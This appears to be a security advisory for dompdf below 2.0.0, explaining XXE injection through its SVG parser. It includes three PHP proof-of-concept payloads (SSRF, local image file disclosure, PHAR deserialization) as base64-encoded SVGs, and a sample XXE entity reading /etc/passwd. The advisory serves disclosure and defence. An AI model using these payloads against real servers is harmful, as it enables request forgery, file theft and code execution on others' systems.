XML External Entity (XXE) Injection Affecting dompdf/dompdf package, versions <2.0.0

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection through the SVG parser. An attacker can perform server-side request forgery, disclose internal image files, and execute PHAR deserialization attacks by manipulating XML input.

Note:

This vulnerability is exploitable even if the isRemoteEnabled option is set to false.

Payload 1 - SSRF (only allow_url_fopen required)

This embeds Google logo into the PDF document even when the isRemoteEnabled option is defaulted to false.

<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 
$dompdf = new Dompdf();
// Load HTML content 
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vaW1hZ2VzL2JyYW5kaW5nL2dvb2dsZWxvZ28vMXgvZ29vZ2xlbG9nb19jb2xvcl8yNzJ4OTJkcC5wbmciIC8+Cjwvc3ZnPg==">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
// Render the HTML as PDF 
$dompdf->render(); 
// Output the generated PDF to Browser 
$dompdf->stream(); 
?>

Payload 2 - Image File disclosure (no requirements)

This causes the /var/www/html/index.jpg file to be included into the file.

<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

// Reference the Dompdf namespace 
use Dompdf\Dompdf; 
$dompdf = new Dompdf();
// Load HTML content 
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9ImZpbGU6Ly8vdmFyL3d3dy9odG1sL2luZGV4LmpwZyIgLz4KPC9zdmc+">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
// Render the HTML as PDF 
$dompdf->render(); 
// Output the generated PDF to Browser 
$dompdf->stream(); 
?>

Payload 3 - Insecure PHAR deserialization (only file upload of phar file required [can change extension])

<?php
// Include autoloader 
require_once 'dompdf/autoload.inc.php'; 

include("phar-poc.php");
// Reference the Dompdf namespace 
use Dompdf\Dompdf; 
$dompdf = new Dompdf();
// Load HTML content 
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9InBoYXI6Ly8vdmFyL3d3dy9odG1sL3Rlc3QucGhhci90ZXN0LnR4dCIgLz4KPC9zdmc+">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape'); 
// Render the HTML as PDF 
$dompdf->render(); 
// Output the generated PDF to Browser 
$dompdf->stream(); 
?>

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

• GitHub Commit
• Vulnerable Code